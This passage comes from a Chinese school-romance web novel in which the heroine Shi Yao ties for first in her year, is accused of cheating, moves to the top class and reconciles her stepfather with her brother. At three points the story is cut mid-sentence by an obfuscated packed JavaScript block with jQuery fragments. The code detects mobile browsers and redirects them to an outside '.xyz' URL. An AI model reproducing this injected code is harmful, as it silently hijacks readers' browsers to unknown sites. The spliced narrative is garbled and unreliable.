路荧咬牙切齿,举手提出了质疑:“老师,您确定没有念错名字吗?”
无论是总分727还是进步291名,这都是不可能在10班发生的事,姜望舒那种成绩本来就好只是在10班暂时学习的除外!
而且——时谣?!这个人是谁都可以,但怎么可以是时谣?!
“我知道大家都很震惊,但是稍安勿躁。”班主任安抚了一下大家的情绪,紧接着又道,“我们班的第一名确实是时谣,同时她也以优异的成绩,和我们的温言律同学并列第一。”
年级第一!
众人被震惊得说不出话来。
被温言律制霸了快两年的年级第一,居然出现了其他人的名字?!
虽然只是并列,但是温言律可是学神一样的存在,就连高三的晏羽在智商这一块也比不过他,高二的同学们很少将年级第一这个头衔和其他人联系起来。但这次——时谣?!
那个年级倒数的时谣?!
“我有异议!”班里有个寸头男生举起了手。
这句话直接吸引了所有人的目光,只见那人愤懑道:“我和时谣在同一个考场里考试,坐在她隔壁考试的就是温言律,所以我有权怀疑,时谣这个第一有猫腻!”
虽然没有明说,但这话已经明晃晃地把“作弊”两个字打在了时谣身上,不少人的眼中流露出“果然如此”的情绪。
而原本漫不经心的时谣听到这话,终于侧头看了他一眼。
她对这个男生没什么印象,但是他考试的时候好像确实是坐在自己后面。
她轻轻掀唇:“空口造谣可是要付出代价的。”
男生微微一顿,似乎突然想起来女魔头的赫赫威名,四大家族在圣斯特学院里的权利可是很大的,只要时谣跟父母稍稍说上几句,说不定他就要被施压退学。
但他一时义愤填膺,质疑的话已经说出口了,更没有可能收回。于是他只能硬着头皮道:“我只是提出应有的质疑,而且你一个年级倒数突然考到年级第一,任谁都会怀疑吧?”
起此彼伏的应和声在班级里响起,朱颜皱眉怼他:“我怎么感觉你是眼红别人考了第一啊?”
顶着朱颜能杀人的目光,男生讪讪闭嘴。
班主任却皱了皱眉,抬手示意大家安静。
众人便等待着班主任的宣判。
“时谣同学如此巨大的进步,也在我们几个老师的意料之外。因此我们在拿到成绩之后就特地去看了考场监控,时谣同学一直在安分写题,并没有作弊。”
温馨然也反应过来,立刻道:“对啊,我们谣姐的选科和温言律的又不一样,她就算主三科能抄,她副三科可是和我一个考场的,全考场基本都是学渣,她能抄谁去?!”
“有可能是题目泄露了!”路荧乘胜追击。
班主任摇头:“那就更不可能了。考试前一天试卷才印刷好,考试当天才运进了学校,哪有时间给人提前做题背答案?”
“而且时谣同学这段时间的努力我看在眼里,我相信她没有作弊,你们也要向她好好学习才对。”
这下班里再也没有人质疑了,就算有人不满也只能藏在心里,或者是在ST的论坛上冲锋陷阵。
班主任见大家终于安静,继续往下宣布成绩,着重表扬了几个进步很大的同学,便开始上课。
温馨然这次进步了40多名,差一点就要在班里欢呼出声;朱颜也进步了30名,高兴之色更是怎么也掩藏不下去。
老师在上课,但成绩刚公布,众人的兴奋感还没有散去,于是都偷偷在下面用手机聊天。
时谣和朱颜温馨然的三人小群消息也已经爆了:
【温馨然:谣姐你年级第一!!!好厉害啊啊啊啊啊啊——】
【朱颜:没想到我们居然有幸抱上年级第一的大腿呜呜呜呜——】
【温馨然:我就知道谣姐你什么都能做到!这下陆少要当着全校的面给谣姐念道歉信了嘿嘿~】
【朱颜:谣姐我爱你!多亏你每天抓着我大背特背政治考点,我这次考试真的觉得我全都会!】
【温馨然:呜呜呜呜我的英语
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018714|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
考了有史以来最高分!感谢谣姐每天抓我背单词学从句,我现在感觉我能和外国人无障碍交流了!】
【朱颜:谣姐谢谢你拯救我岌岌可危的数学!】
【温馨然:谣姐谣姐你就是世界上最好的老大,我们要永远追随你——】
时谣看着不断闪动的消息,有些好笑,心情愉悦地打下几个字:【好好听课。】
两人超听话,回了一句“收到”,就坐得板正地开始上课了。
学习,真爽,嘿嘿!
在时谣没看见的角落,ST上的校园论坛已经吵翻天了。
时谣和温言律的成绩单被放在了一起,在论坛上的某个匿名帖子公开展示:
【1L:我靠?时谣和温学神并列年级第一?这是什么世纪大新闻?!】
【2L:不可能,时谣肯定作弊了!她和温学神一个考场的!肯定偷看了!】
【3L:就是啊,倒数逆袭年级第一这怎么可能,以为这是在写小说呢?】
【4L:不会是为了打赢和陆少的赌约才作弊的吧,呃真不要脸,f4里没人会喜欢这种品行败坏的人的。。。】
【5L:不是啊,我听教务处查过成绩了,时谣没抄。】
【6L:5L你个傻*,你时谣啊?这么帮她说话?】
【7L:就是就是,帮女魔头说话干嘛?你是信她没作弊还是信我是秦始皇?】
很快,整个帖子就以“引战”等理由,被管理员删除。
高三1班现在正在上自习,晏羽坐在班里最前排的那个位置,慵懒地撑着下巴,将论坛上关于时谣的争论帖子一个个删除。
一些发表污言秽语的楼层直接被他禁言,很快论坛就恢复了以往的风平浪静,无人再敢讨论时谣作弊的事。
他同桌见晏羽罕见地扬起嘴角盯着手机看,有些稀奇:“晏羽,什么事这么高兴啊?”
晏羽瞥了他一眼,轻轻搁下手机,骨感十足的手指再次拿起笔,淡淡道:“没什么,看到了有意思的事。”
他上次亲眼目睹时谣的学习能力,做竞赛压轴题都不是难事,更何况是普通的一场月考,怎么会去作弊。
只是他没想到的是,时谣的学习能力比他想象中更加强悍,短短一个月的时间,她就从倒数考到年级第一,和温家那个天才小子并列了。
这个妹妹,还真是挺有意思。
……
时谣不知道自己的成绩在圣斯特学院掀起了怎样的风浪,一节课上完,班主任突然在下课后点了她的名。
“时谣,跟我来办公室一趟。”
时谣不知道老师单独找自己是要干嘛,但此时留在班里无疑会成为话题中心,于是丝滑起身,迅速跟上了。
来到办公室后,班主任却给她递了一张转班申请表。
时谣一愣:“这是……”
班主任喝着保温杯里的茶,笑笑:“转班申请呀。”
“你不知道吗?如果成绩进步够大,且平时在班里的表现得到了各科老师的认可的话,是可以申请转到更靠前的班的。以你现在的成绩,去到1班就直接和温言律做同桌了,你不想去吗?”
时谣犹豫道:“我……”
18. 1班
1班尖子生云集,老师讲课的进度也会比别的班快很多。
但在时谣眼里,1班和10班其实没什么区别,反正她高考的学科早就已经学完了。而且1班有三个男主在,她不是很想在他们几个眼前晃悠。
见时谣犹豫,班主任露出一个了然的神色:“是舍不得10班的朋友们吧?放心,你就算去1班上学也能经常来看他们的,而且1班不是有你喜欢的人吗?”
时谣:“……”正是因为这个才不想去的好不好!
班主任自顾自道:“而且去1班上课多好啊,1班的人经常会参加一些学科竞赛,不用在班里上课。你之前不是还问过我那个数学竞赛的事情吗,只要你进1班,以你的成绩很容易就能被抽去参加的。我记得最新一轮的全科竞赛就在下个月……”
时谣一顿:“全科竞赛?”
“对,全科竞赛。不仅涉及高考知识,还涉及体育艺术政治经济等课外拓展范围知识的考查,是团队协作,而且奖励特别丰厚……”
时谣听着班主任慷慨激昂的介绍,内心早已蠢蠢欲动。
这种竞赛她从来没见过,但是看起来却很是新鲜好玩。
于是没过多久,她就在班主任的劝说之下败下阵来,填完了转班申请表。
“这就对了嘛。”班主任愉快地给她审批,然后“啪”地给她的转班申请盖了个巨大的红章。
“好了,”班主任和蔼道,“你现在可以收拾东西搬到1班去了。”
时谣拿着盖了红章的转班申请站在办公室门口,隐约感觉自己好像被忽悠了,忍不住露出了一个疑惑表情。
为什么姜望舒的转班申请批了两天,她的转班申请直接一秒钟就批下来了?!
在时谣收拾东西准备搬到1班的这段时间,有关于时谣考了年级第一的传闻已经在全年级引发热议。
时谣考了年级第一,这是什么概念?
首先,圣斯特学院高二年级的第一从来都被温言律制霸,和每次的第二名都有至少几十分的差距,没有人能在圣斯特打败他,就连高三的晏羽来了也只能甘拜下风!
其次,时谣可是倒数第八啊!从她进入圣斯特学院以来就没有考进过前一百,从倒数第八逆袭到年级第一,整个圣斯特学院都没这样的事情存在。
学渣逆袭和温言律年级第一的宝座将被撼动这两件事结合在一起,圣斯特学院里的学生八卦之心越燃越烈。
直到时谣带着东西出现在1班时,八卦之风已经攀登到顶峰。
时谣搬着书站在门口,犹豫地确认着自己的座位的样子,落在1班人的眼里就是另一种情况了。
“时谣同学,你是因为想在陆少面前证明自己的实力才这么努力学习的吗?”
时谣一愣:“啊?”
她疑惑地看着面前的围观同学,他们的眼底都闪着八卦的光,时谣不由自主地看向人群后最显眼的那个座位,却正好与温言律四目相对。
温言律是标准的丹凤眼,锐利又深邃,只是他的睫毛很长,因此将他的长相显得格外清冷,像是下凡的清冷仙子。
但温言律并不关心她的到来,只是淡淡地看了她一眼,就熟视无睹地垂下眸,继续着自己的事情。
原本温言律旁边坐着的是姜望舒,但是因为这次月考时谣和温言律并列第一,考了第二的姜望舒只能坐在第三名的位置上,刚好和第四名的苏雾迟成为了同桌。
姜望舒早就已经把原本的座位清出来了,见到时谣出现,高兴地挥挥手:“时谣,你来啦!”
苏雾迟对她风度翩翩地笑:“欢迎来到1班。”
时谣指了指姜望舒面前的空位:“这是我的位置吗?”
姜望舒笑着点点头:“是哦,我们是前后桌了呢。”
时谣看看右边的温言律,又看了看坐在右后方的苏雾迟,像是不是很满意这个座位的安排,皱了皱眉。
她犹豫道:“那个……我可以换位置吗?”
此话一出,围观的人都激动起来。
“她想换座位?是不是想坐温学神的那个位置啊?”
“也是,他们都是第一,时谣有野心想坐原本第一的位置也合理。”
“搞笑,她也不过是运气好考了一次第一而已,谁知道里面有多少水分呢?”
“这样不好吧,一上来就抢温学神的位置,会不会有些狂妄了?”
就连温言律听到这话也是笔尖一顿,可时谣却将目光投向了苏雾迟。
苏雾迟愣了一下:“你想和我坐?”
时谣对他露出一个笑容:“我想和你换换,我跟望舒坐。”
温言律这家伙眼高于顶,时谣可不想跟自大狂做同桌;苏雾迟长得太招蜂引蝶,坐他旁边很容易招人记恨,时谣才不想去触这两个男主的霉头,要选肯定是选可爱善良的女主角啦!
而且温言律不喜欢自己,应该是巴不得自己不和他做同桌。就是不知道苏雾迟现在对女主有没有产生好感,万一苏雾迟不同意换位置,自己还得跟温言律继续坐一块。
想想就烦。
苏雾迟没想到时谣会提出这种要求,下意识道:“我们班一向是根据成绩分配座位的,你想换座位的话,恐怕要得到老师允许才可以……”
时谣露出一个委屈的表情,眼眶红红的,看向姜望舒。
姜望舒瞬间心疼,脱口而出:“好,我跟你坐,我们现在就去找老师换位置!”
时谣愉快地把书一放,拉着姜望舒走了。
余下的温言律和苏雾迟两人对视一眼。
怎么感觉,他们好像被嫌弃了?
但1班的班主任上了年纪,并没有10班的班主任那么好说话,在两人的不断软磨硬泡之下,还是固执己见,坚决不肯让两人换座位。
“时谣啊,你是第一,你和温言律可以换,但你不能和苏雾迟换。”班主任摇摇头,“这事没得商量,你俩要是想做同桌,下次考试看看能不能挨一起吧。”
时谣的请求惨遭拒绝,只能回到班级收拾着自己的新座位。
系统安慰她:【没事的宿主,按照剧情,女主角和f1做同桌之后才开始和f1、f2发展的感情线,但是女主角和f1还没做多久同桌就因为你被迫分开了,总得让她和f2继续做同桌这剧情才能进展下去不是吗?】
时谣:“?”奇了怪了,不是同桌但也是前后桌,怎么这个感情线非得是同桌才能进展吗?
姜望舒安慰着沮丧的时谣:“没事的,我们是前后桌也很好啦。”
“嗯。”时谣看着一脸关切的姜望舒,对她露出了一个亲切的笑容。
等时谣将自己的东西全部从10班收拾过来,旁边的温言律早就不在座位上了,取而代之的是一个坐姿嚣张的熟悉身影。
时谣:“……”
不是,陆烬燃这货没事坐自己旁边干什么?!
时谣烦他烦的要死,手中捧着的一叠书都没好意思往自己桌子上放,转身就想走,被陆烬燃眼疾手快地喊住:“时谣!”
时谣不情不愿地回过头:“你有什么事吗?”
陆烬燃站起来,他比时谣高出许多,借着这个高度,正好由
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024062|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上而下地俯视着她,将时谣被迫营业的表情尽收眼底。
这个表情……陆烬燃暗暗握紧拳头,莫名让他有点不爽。
“没想到你真的赢了赌约。”陆烬燃不情不愿地道,他是个诚实守信的人,虽然他也怀疑过时谣这个成绩的真实性,但经过教务处确认时谣并无作弊行为之后,他还是愿赌服输。
他傲娇地轻哼一声:“既然你已经赢了我,那本少爷就遵守信用,会根据上次误会你那件事写一封一千字的道歉信在全校面前朗读!”
见陆烬燃满脸写着“让本少爷道歉这可是你的荣幸”,时谣皱起了眉头,突然觉得很没意思。
“道歉至少要诚恳,陆烬燃,你当初误会了我本来就应该道歉,而不是因为赌输了所以才道歉。”
时谣的声音不轻不重,语气却很坚毅,她明澈的眸子里没有半分考了第一的骄傲,只有对眼前人的不满。
陆烬燃没想到时谣居然还在教训自己,“我”了一声后,又被时谣打断:“而且这件事情已经过去了一个月了,要道歉也已经过了时效。我现在已经不在乎那件事情了,你那个道歉信也不用念了。”
时谣盯着他的眼睛,一字一句地道:“作为我赢了的赌注,你以后,别在我面前晃悠就行了。”
什么……
陆烬燃微微皱眉,这段时间时不时感受到的强烈失控感,终于随着时谣这句话,尘埃落定。
他不可置信道:“你嫌弃我?”
时谣:“很难看出来吗?”
陆烬燃皱眉道:“你不会是因为我上次因为姜望舒的事情对你发火了,你到现在还在生我的气吧?”
时谣手上的书还没放下呢,就烦陆烬燃这种腻腻歪歪的样子,她无语地轻啧一声,将手中的东西重重往桌子上一放,回头瞪他。
“行了陆烬燃,别老往自己脸上贴金了。我已经说过不喜欢你了,你别把我当成以前那个可以随便颐指气使的时谣,我现在不想理你,以后也不想理你。更希望你能贯彻你自己之前的诺言,减少在我面前出现的次数。”
陆烬燃没想到从前一直跟在自己屁股后面怎么也赶不走的时谣居然回对自己说出这种话,一时间愣在当场:“你……”
“你什么你?我的时间很宝贵,没空和年级第29聊天。”
陆烬燃气笑了:“行,时谣,不就考了个第一吗?你就等着吧!”
陆烬燃气得甩手就走。
时谣收拾着自己的新课桌,很快就把这个小插曲忘在了一边。
温言律拿着刚打好的水杯,不动声色地打量着时谣。
她好像跟之前很不一样了,以前恨不得黏在陆烬燃身边,现在居然当众表示不喜欢陆烬燃。
那她喜欢谁呢?是单纯的只不喜欢陆烬燃,还是谁都不喜欢了呢?
他拉开时谣旁边的座椅坐下,随手翻开桌上的本子一看。
扉页干干净净,只写着几个字“温言律731”。
温言律手一抖,好像被烫到那般,将本子扔了出去。
时谣注意到自己的计划本突然以一个抛物线降落到讲台前,不由得停下手上的动作,莫名其妙地看向旁边的某人:“你扔我本子做什么?”
温言律沉默地看着她,好像看着什么瘟疫那般,将书桌默默往旁边挪动了几厘米。
时谣低声道了一句“莫名其妙”,将本子捡回来,宝贝似的放在了书桌的最里面。
温言律沉默地看着她的动作,内心升起一个荒谬的想法:
该不会,她现在不喜欢陆烬燃,只喜欢自己了吧?
19. 亲情
搬来1班的第一天,时谣倒也没什么不习惯。
1班讲试卷的时候并不像10班那样每道题都要拿出来讲,老师上课的时候也只是挑几道重点的题目过一遍思路。
时谣基本上都会了,上课的时候并不怎么需要过脑子。只是她偶尔会偷偷瞅一眼旁边的温言律,他不仅没听课,还正大光明地拿着一本很明显不是高中数学范畴的练习题在做。
他正在看的那本书,时谣在晏羽的书房里见到过,似乎是大学高等数学一类的范畴,而且并不是基础课程了。
时谣心里嘀咕,这家伙还挺厉害的,就连晏羽学的进度都没有他快。
时谣这次考试和温言律同分,其实内心还是有点在意的。她前世基本做什么都是第一名,对自己的学习实力超有自信,穿书后才第一次遇见能打败自己的人,于是此时的温言律在她眼中就是第一个需要追赶的目标。
要怎么做,才能超越他呢?
时谣内心燃起超浓厚的战斗意志,坐在旁边的温言律很敏锐地察觉到她眼神的变化,本想无视掉,却实在难以忽略她滚烫的眼神,忍不住朝她投去一眼。
却发现她并没有在看自己。
而是……在盯着自己桌子上的课本。
温言律:“……”
实在不知道她为什么要眼神灼热地盯着自己的课本看,温言律不太自在地合上手里的书,将自己的月考试卷拿了出来,平摊在桌面上,开始认真上课。
时谣的眼神一下子暗淡下去,遗憾地转过头,不再关注他了。
温言律:“……”
接下来几节课,时谣更是一个眼神没给温言律。
直到自习课,温言律再次拿出那本书,时谣的视线成功再一次被吸引过来。
温言律:“……”
好诡异啊,手中这本书是什么时谣诱捕器吗?!她这个样子比平时缠着自己问东问西的样子还要令人烦躁!这令温言律有种被蓄势待发的猛兽盯上的感觉,好像只要自己一个不注意,就会失去什么东西。
难道她看上了自己手中这本书?!
还是她想根据自己手上这本书制造共同话题接近他?!
温言律觉得,自从时谣考了年级第一之后,她的手段就高明不少,以前纠缠不休的样子惹人厌烦,如今开始欲擒故纵后,倒是不得不令人在意起来。
出于一种诡异的直觉,温言律觉得自己不能在时谣面前学习超出高中知识范围的东西,于是默默地把手上的书收了起来,一整天都没有再拿出来。
果然,接下来一整天时谣就没有再理他了,那种如影随形的焦躁感也随之淡去不少。
等到放学,时谣收拾好东西,直接回头去问身后的姜望舒:“望舒,一起走吗?”
姜望舒还在看自己的月考试卷,听到时谣邀请,眼睛亮了一瞬,又暗淡下来:“时谣你先走吧,我还有道题没算出来。”
时谣闻言又在座位上坐下撑着脸看她:“没关系,我等你呀。”
她托着腮,脸颊肉在她的掌间微微鼓起,清澈的眼睛专注地看着姜望舒。
窗外的日光透过窗户照射进来,刚好将她的半张脸照得发亮。树叶的阴影在时谣的脸上随风晃动,明暗交错,显得漂亮极了。
连夕阳也在偏爱她。
苏雾迟刚好看到这一幕,收拾东西的手微微顿住。
他将这极美的一幕收进眼底,桃花眼轻垂,敛去了眸中的惊艳之色。只是此后的所有动作都显得有些漫不经心,似乎是在回味着什么,恍惚地出神。
片刻后,苏雾迟慢慢回神,对温言律笑道:“今天要去你家叨扰你了。”
温言律看他一眼:“来我家只能学习,怎么不去找陆烬燃?”
苏雾迟漫不经心道:“他今天可能心情不好。”
只考了年级29,还被某人呛了一顿,估计一整天都在生闷气,苏雾迟可没有安慰他的打算,这种事情还是让陆烬燃自己消化去。
温言律什么都没说,苏雾迟当他默许,立刻从善如流地跟上。
“那就麻烦你了。”
慵懒的尾音散在空气中,却没有触动认真的两个女孩分毫,四人就此别过。
直至坐上温家的车,温言律这才转头看向苏雾迟:“苏姨是不是要回国了?”
苏雾迟靠在车窗旁,看着外边来往的人影,潋滟的桃花眸里闪过一丝暗色,沉沉地应了一声:“嗯。”
温言律见他的情绪慢慢低落下去,也不多问,只是低头,翻开了手里的书。
……
晏修远看着时谣的成绩单,惊喜道:“谣谣,年级第一?!”
时谣回家就把这个好消息告诉了父母,晏修远拿着时谣的成绩单左看右看,笑得合不拢嘴。
时婳则是欣慰地看着时谣,在她脸上亲了一下:“不愧是妈妈的女儿,真棒。”
父母二人丝毫没有怀疑时谣突然取得这么大的进步的真实性,这种无条件的信任让时谣很感动,也省去了解释自己为什么突飞猛进的麻烦。
晏羽一向融不进三人这其乐融融的家庭氛围,便熟练地当了个透明人,正要上楼却被时谣瞥见,直接拉到晏修远面前。
时谣认真道:“爸爸,你不能只夸我,哥哥也是年级第一哦。”
被时谣拽过来的晏羽身体僵直,对这一幕感到非常无措,晏修远也猝不及防和僵硬的儿子打了个照面,父子俩一时间都愣在了原地。
时婳愣了一下,笑着夸道:“对呀,我们阿羽也很棒呢。”
按着女儿期待的眼神,晏修远终于正眼打量起了晏羽。
他意识到这么多年好像一直对儿子有所忽视,他总是体贴着嫁进来的妻子和女儿,习惯了儿子的优秀,却忘了儿子的心情也是需要自己体贴照顾的。
晏羽不知道时谣又在作什么妖,但这种氛围让他很不自在,皱了皱眉道:“我不需要你们的夸赞。”
这么多年来,自己一直习惯于父亲的冷待,这个时候如果有所改变,反而他不自在。
可晏修远却似乎意识到了自己的不对,但多年来的僵持还是让他放不下面子,欲言又止道:“其实你也很不错。”
晏羽抬眸,看了一眼自己的父亲。
时谣笑道:“那为了庆祝我和哥哥都得了第1名,爸爸,你给我们一人一个奖励好不好?”
晏修远很喜欢女儿这种撒娇讨赏的样子,虽然时谣不是他的亲女儿,但是他是一直把时谣当成亲女儿来看待的,于是笑着对时谣道:“好好好,我们谣谣想要什么?”
“我希望你以后跟哥哥好好相处。”时谣道,“我发现你跟他讲话的时候,总是会忍不住挑他的毛病,如果爸爸这样对我说话的话,我会很伤心的,所以你也不要这样对哥哥。”
晏修远和晏羽都沉默了。
“还有,我希望你们能好好聊一聊。至于哥哥的奖励,就由他亲口跟你说吧。”
时谣说完拉着时婳跑了,把家里的空间留给了尴尬的父子俩。
时婳笑着看着自己的女儿:“乖谣谣,这次进步这么大,妈妈也可以额外给你奖励哦。”
时谣却定定地看了她片刻,轻轻拥抱了这个美丽女人,亲了亲她的面颊。
时婳一愣,笑着抱住她。
“妈妈,你好好的,陪我一辈子,就是我最想要的奖励了。”
时谣早就记不清上辈子父母的样貌了,只记得自己的妈妈是一个和蔼的女人,跟时婳一样很疼爱她。
她穿来的这些天,时婳和晏修远对她那么好,她早就把他们当成了亲生父母。因此每每想起在原著里时婳因为受时谣所累,而变
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031327|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得疯癫最后自杀的结局,都忍不住落下泪来。
不要,她不要这样的结局。
她不会变成恶毒女配的,她的妈妈时婳,也一定要健康快乐地活着,长命百岁。
她真的不想再失去一次母亲了。
这个家,温柔的时婳,慈祥的晏修远,有些别扭的晏羽,都是她的家人。
她会好好维护着这一切的,一定。
虽然不知道当天晚上晏修远和晏羽聊了些什么,但是第二天晏羽看时谣的眼神很奇怪……说不上来的那种奇怪。
时谣一向心大,见家庭氛围没有崩塌掉,便也从善如流地无视掉了晏羽的视线。
结果准备出发上学的时候,晏羽坐进了自己的车。
时谣的瞌睡猛地被惊醒:“?”
她呆呆地看着晏羽扔下书包、收进长腿、关上车门,动作行云流水,一气呵成,不由得觉得空气都尴尬了几分。
司机也是疑惑地回过头来:“少爷小姐今天一起上学吗?”
晏羽高冷地点点头:“嗯,开车吧。”
时谣的瞌睡虫彻底被赶跑,想了想,对他扯出了个灿烂的笑:“嗨……好巧啊。”
晏羽沉默地瞭了她一眼:“……”
时谣说完就想给自己一巴掌了,巧什么巧,能不巧吗,晏羽他自己上的车可不太巧了?
见时谣的面上浮现出尴尬之色,晏羽顿了顿,道:“昨晚我跟我爸提了一下让你跟我一起学大学知识的事,他同意了。”
时谣一愣,见晏羽认真地看着自己,震惊道:“你跟爸爸要的奖励就是这个?!”
晏羽淡淡地点点头,他什么都不缺,跟父亲也并没有什么非讨要不可的奖励,昨天那种情况下,也只是跟晏修远尬聊罢了。
反正他们父子两个的相处一向不怎么温情,聊着聊着聊到学业也最近学的课程是再怎么正常不过的事情,晏羽想到最近时谣的变化,便顺口跟晏修远提了一下她有意向学大学知识的事。
晏修远若有所思:“谣谣的成绩进步很大,以她现在的水平,确实可以提前接触新的学业了。”
父子俩便公事公办地谈拢了这件事,不过等晏羽要离开时,晏修远却叫住了他:“你最近跟妹妹关系还不错?”
晏羽回头看着父亲,没承认,但也没有否认。
晏修远叹了口气,一向沉稳的脸上浮现出一丝欣慰之色:“阿羽啊,谣谣是中途搬来我们家的,性格难免敏感胆小些,我以前太照顾谣谣母女俩,却总是忽略了你的感受,爸爸要向你道歉。”
晏羽愣在了原地。
十八年来,他第一次听到父亲的道歉,本以为这么多年积攒下来的怨恨会在这一刻倾泻而出,可他却只是愣住,情绪太复杂,以至于什么都无法感受到。
父亲,您对不起我。
那母亲呢?
她走了这么多年,您是不是也欠她一句道歉?
但看着晏修远眼角的皱纹,那所有的埋怨最终都化作了自嘲的笑。
“我不需要道歉。”晏羽薄唇轻启,“她葬在郊区的公墓里,桃花开得最漂亮的那片区域。她每年都期盼着您能多去看看她,您去看看她。”
晏修远轻轻抬起眸,怔忪地看着晏羽,苦笑着应下:“好。”
许久,他又沉沉开口了:“阿羽,我知道你恨阿婳。但是谣谣很乖,你也看到了,她在尽力修补我们之间的关系……阿羽,以后家里的一切都是你的,她不会分走你的什么,爸爸希望你也能对她好一点。以后……你们就一起上学吧。”
晏羽沉着眸子,收回了思绪。
他看着一旁的时谣,沉吟片刻:“我以后跟你一起上学。”
时谣不作妖的时候的确还挺讨喜。
晏羽有时候在想,或许,有个妹妹其实也不讨厌?
20. 好甜
时谣看他的眼神更震惊了。
这段时间来跟晏羽的相处还算和谐,但是时谣自认为还没跟晏羽好到他愿意主动接近自己的程度。
而且……一起上学?!她可是制定了完美的放学后去逛街计划,跟司机偷偷商量好了每天走不同的路巡视周边美食,哪天带姜望舒一起来吃,现在加个晏羽可怎么办?!
时谣非常小心、谨慎地问出了心中所想:“那……那放学呢?”
“你要跟我一起晚自习的话,也可以一起。”
时谣松了一大口气,连忙摆手拒绝:“不用了不用了。”
吓死,晏羽这人一向没什么口腹之欲,要是被他发现了自己的美食巡猎计划不得在心里把她蛐蛐死。感谢高三晚自习,晚自习是世界上最伟大的发明!
不过有关一起学大学知识的事……时谣又燃起了强烈的好奇心,她眨巴着眼睛看向晏羽:“是跟你一起上家教吗?”
“周末晚上,你的专属家教会来。”晏羽淡淡道。
“我需要做什么准备?”
“什么都不用,带脑子就行。”
然后,任凭时谣怎么问,晏羽都不爱回答了,只是懒懒地撑在车窗旁闭目养神。
时谣知道自己被嫌弃了话痨,于是憋着一口气闭上了嘴,在心里暗暗跟系统吐槽:“要不是看他长得帅,这幅爱答不理的样子真想给他两拳。”
系统憋笑:【知足啦宿主,对比之前,晏羽现在对你客气多了。】
汽车缓缓抵达圣斯特学院门前,晏羽开门,勾上书包,头也不回地往学院里面走。
晏羽也是圣斯特学院f4之一,按照玛丽苏文男主出场必吸引目光定律,他一下车,四周就响起此起彼伏的惊叹。
“哇是晏会长!”
“第一次看到晏会长在这个时间点来学校诶!”
晏羽在一众惊叹声中走得目不斜视,时谣捞起自己的书包下车,却发现手中的书包分量好像不太对,疑惑地低下头,却发现是个陌生的黑色书包。
时谣:“……”
时谣扶着车门喊他:“哥!”
数道目光汇聚到时谣身上,可被喊的当事人却没听见。
时谣只能认命地背起书包,迈着小短腿哒哒哒跟上他:“晏羽!”
晏羽终于闻声回头,时谣气喘吁吁地将他的书包塞进他怀里,叉起腰,对他伸出了手。
晏羽:“……”
晏羽看看自己怀里的黑色书包,又看了看肩上的白色书包,这才反应过来,将肩上的包递给了时谣。
“我说你走这么快干嘛。”时谣背上自己的包,自然地抱怨道,“喊你又听不见,而且你这书包里装的什么,这么重,拖慢了我轻盈的脚步……”
晏羽低头瞥了眼她的腿,时谣的腿细白又纤长,不过和他站在一起,倒是对比有些惨烈了。
他走一步她要迈两步。
时谣叽里咕噜说了什么,晏羽懒得去听,只觉得她腿短短的还要极力跟自己并肩走的样子有点好笑,便伸出手指轻点她的额头,手动关掉声音。
“砖头。”
晏羽淡淡道,然后转身,走向了属于高三的教学楼。
围观群众见状兴奋地讨论起来:
“天哪,时谣和晏羽居然一起坐车来学校,不是说他们兄妹俩关系不好吗?”
“刚刚那个互动好甜,我也想被晏会长戳戳脑袋。”
“身高差好萌好萌,兄妹互动明明很宠啊,看得我也好想要一个哥哥!”
时谣捂着额头愣神一会儿,不是,谁家好人上学带砖头啊?晏羽刚刚是不是在跟她开玩笑?
很快有关晏羽兄妹的话题就席卷ST论坛,不过时谣一向不看这个东西,对他人的讨论一概不知。
回到班级,跟早早就到了的姜望舒打了招呼,时谣开始早读。
圣斯特学院的早读管得不是很严,但在某个特定的时间会有学生会巡查纪律,时谣看了一眼旁边空荡荡的座位,心想今天的早读执勤应该轮到温言律了吧。
时谣思绪游荡了一瞬,不慎碰到了桌边的笔,很快那支笔就顺着两张桌子之间的缝隙滚落在地,不见踪影。
时谣回过神,俯身去寻找失踪的笔。
“在找这个吗?”
清越好听的声音从身后传了过来,同时一只骨节分明的手拿着她刚刚丢失的笔,递到了时谣的面前。
时谣抬头看他,苏雾迟对她轻轻歪头一笑,桃花眸潋滟,笑容粲然生光,温柔极了。
时谣顿了顿,低声说了声谢,接过了他手里的笔。
转身打开笔帽的一瞬间时谣心里暗暗嘀咕,对比眼高于顶的温言律和火爆小学鸡陆烬燃,苏雾迟算是f3里比较好相处的那个了,甚至他最近看向自己的目光也不像以前对原主那样敷衍又不失礼貌,清澈得很。
时谣怕这个是自己的错觉,便也没有多想,强行让自己把这个感受忽略过去了。
很快温言律执勤回来,看也没看旁边的时谣,而是十分顺手地——将书桌往更远的方向挪了挪。
